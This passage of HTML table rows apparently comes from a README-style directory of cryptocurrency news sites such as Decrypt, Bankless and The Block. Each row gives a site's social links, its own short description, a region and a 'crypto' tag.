<tr><td><a href='https://decrypt.co'>Decrypt</a><br><a href='https://t.me/DecryptNews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.facebook.com/decryptmedia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/decryptmedia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/decrypt-media'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Read the latest Bitcoin and Ethereum news from Decrypt. Get the latest on cryptocurrency prices, breaking news, and more about Bitcoin and blockchain.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.bankless.com'>Bankless</a><br><a href='https://www.instagram.com/bankless'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://twitter.com/BanklessHQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Get the world's most popular crypto email with daily alpha, news, & analysis, all free.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://thedefiant.io'>The Defiant</a><br><a href='https://twitter.com/DefiantNews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCL0J4MLEdLP0-UyLu0hCktg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The latest DeFi, Ethereum, and Web3 news from The Defiant. In-depth DeFi guides and analysis to help you find the important developments in DeFi.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://beincrypto.com'>BeInCrypto</a><br><a href='https://t.me/BeInCryptoCommunity'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/beincrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/beincrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/beincrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>BeInCrypto was created to unite and set you free from the hands, pockets, and minds of a controlling monetary system. Here, we create educational content and products for all things crypto that will help you to pave your way in Web3.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.theblock.co'>The Block</a><br><a href='https://twitter.com/TheBlock__'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/theblockcrypto1'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/theblockcrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/theblockcrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>The Block is your reliable and expert source for all things about blockchain and crypto.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://bitcoinmagazine.com'>Bitcoin Magazine</a><br></td><td>Bitcoin Magazine is the oldest and most established source of news, information and expert commentary on Bitcoin, its underlying blockchain technology and the industry that has been built up around it.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://blockworks.co'>Blockworks</a><br><a href='https://t.me/blockworks_news'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.instagram.com/blockworks__'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/the-blockworks-group'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCkrwgzhIBKccuDsi_SvZtnQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Blockworks is a media and information platform that delivers news and insights about crypto to millions of investors.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.coinbureau.com'>Coin Bureau</a><br><a href='https://t.me/cbinsider'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/coinbureau'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coinsbureau'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coin.bureau'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coin-bureau'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCqK_GSMbpiV8spgD3ZGloSw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Enter the cryptoverse and enjoy all the FREE content, videos, newsletters and everything The Coin Bureau has to offer.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coingape.com'>CoinGape</a><br><a href='https://facebook.com/coingape'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://instagram.com/coingape'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://twitter.com/coingapemedia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coingape'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCGxbUzJCxDHSPZkayqc4NLQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Built, Operated and Nourished by Crypto Enthusiasts with over 5 years of experience in Content, Journalism & Marketing</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://bravenewcoin.com'>Brave New Coin</a><br></td><td>Brave New Coin (BNC) is a data and research company focused on the blockchain and cryptographic assets industry.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://nulltx.com'>NullTX</a><br><a href='https://twitter.com/nulltxnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/NullTX'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/nulltx'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/nulltx'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCjP89m-vh4Oah0ulZel5baw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Hottest cryptocurrency news straight from the source. Content to help you navigate the complex and everchanging world of crypto.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.bitrates.com'>Bitrates</a><br><a href='https://www.linkedin.com/company/bitrates'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/bitratesnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>View prices, historical data analysis and live charts for Bitcoin (BTC), Ethereum (ETH), and all other popular cryptocurrencies. We offer daily crypto news on all aspects of the altcoin market as well as guides answering complex questions and ones as simple as "what is Bitcoin or Ethereum?".</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://zycrypto.com'>ZyCrypto</a><br><a href='https://facebook.com/ZyCrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://instagram.com/ZyCrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://twitter.com/ZyCrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/zycrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCltywaWxAqXC04IS5VFEjag'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>ZyCrypto is a Leading Cryptocurrency News and Information Website Focusing On Daily News, Expert Opinions, Coins Analysis and Reviews.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://thecryptobasic.com'>The Crypto Basic</a><br></td><td>The Crypto Basic is a leading Bitcoin and crypto news website that brings you the latest happenings from the fast-moving and emerging crypto industry.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://blockchain.news'>Blockchain News</a><br><a href='https://twitter.com/BlockchainNewsM'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/BlockchainNewsM'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/blockchain.news_official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/blockchainnewsbn'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Find the latest Bitcoin, Ethereum, blockchain, and crypto news, interviews, and price analyses at Blockchain.News.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.coinspeaker.com'>Coinspeaker</a><br><a href='https://t.me/coinspeaker'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/coinspeaker'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coinspeaker'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coinspeaker'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coinspeaker'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Coinspeaker - the Speaker in Finance World, from Bitcoin and Blockhain to Fintech and Stock Markets</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinjournal.net'>CoinJournal</a><br><a href='https://facebook.com/coinjournalnews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://in.linkedin.com/in/ashish-sood-8b38668'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://twitter.com/coinjournal'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>CoinJournal was founded in 2014, a time when cryptocurrency was still the preserve of cryptography nerds and (now very rich) investors who stumbled onto the opportunity of a lifetime.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://protos.com'>Protos</a><br><a href='https://twitter.com/protos'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/protosmedia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Informed crypto news. Protos cuts through the noise to provide clear insight, considered expert opinion, and market-moving information on Bitcoin and crypto as efficiently as possible.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://thenewscrypto.com'>TheNewsCrypto</a><br><a href='https://t.me/thenewscrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/The_NewsCrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/thenewscrypto.en'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/thenewscrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>TheNewsCrypto is an online media publication that helps to educate readers about news, exchanges, and markets in the crypto and blockchain industry.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptoslate.com'>CryptoSlate</a><br><a href='https://facebook.com/cryptoslate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://instagram.com/cryptoslate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://t.me/cryptoslatenews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/cryptoslate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/cryptoslate'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>CryptoSlate is a comprehensive and contextualized source for crypto news, insights and data.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.chainalysis.com'>Chainalysis</a><br><a href='https://twitter.com/chainalysis'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/chainalysis'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Chainalysis helps government agencies, cryptocurrency businesses, and financial institutions engage confidently with cryptocurrency.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptoadventure.com/news'>Crypto Adventure</a><br><a href='https://t.me/cryptoadventura'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/CryptoAdventure'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cryptoadventurecom'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cryptoadventure'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Latest Crypto news on Bitcoin, Altcoins, Blockchain, Web3 and Market updates. Stay informed with Crypto Adventure our daily news.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.newsbtc.com'>NewsBTC</a><br><a href='https://twitter.com/newsbtc'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/newsbtc'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UC9v9erBEru5y4c3FA0wehEw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>NewsBTC is a cryptocurrency news service that covers latest bitcoin news today, technical analysis & price for bitcoin and other altcoins.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinpedia.org'>Coinpedia</a><br><a href='https://t.me/coinpediamarket'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/coinpedianews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coinpedia.org'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coinpedianews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coinpedia'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/uc3e1ubcekau7rmoty3cx75q'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Coinpedia is Crypto Encyclopedia offering crypto-related comprehensive information, Cryptocurrency News, Events, PR and Bitcoin Event info.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://ambcrypto.com'>AMBCrypto</a><br><a href='https://twitter.com/CryptoAmb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cryptoamb'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/ambcrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/13629485'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UC8kD7TvdcdQUMvURhSnho4A'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' 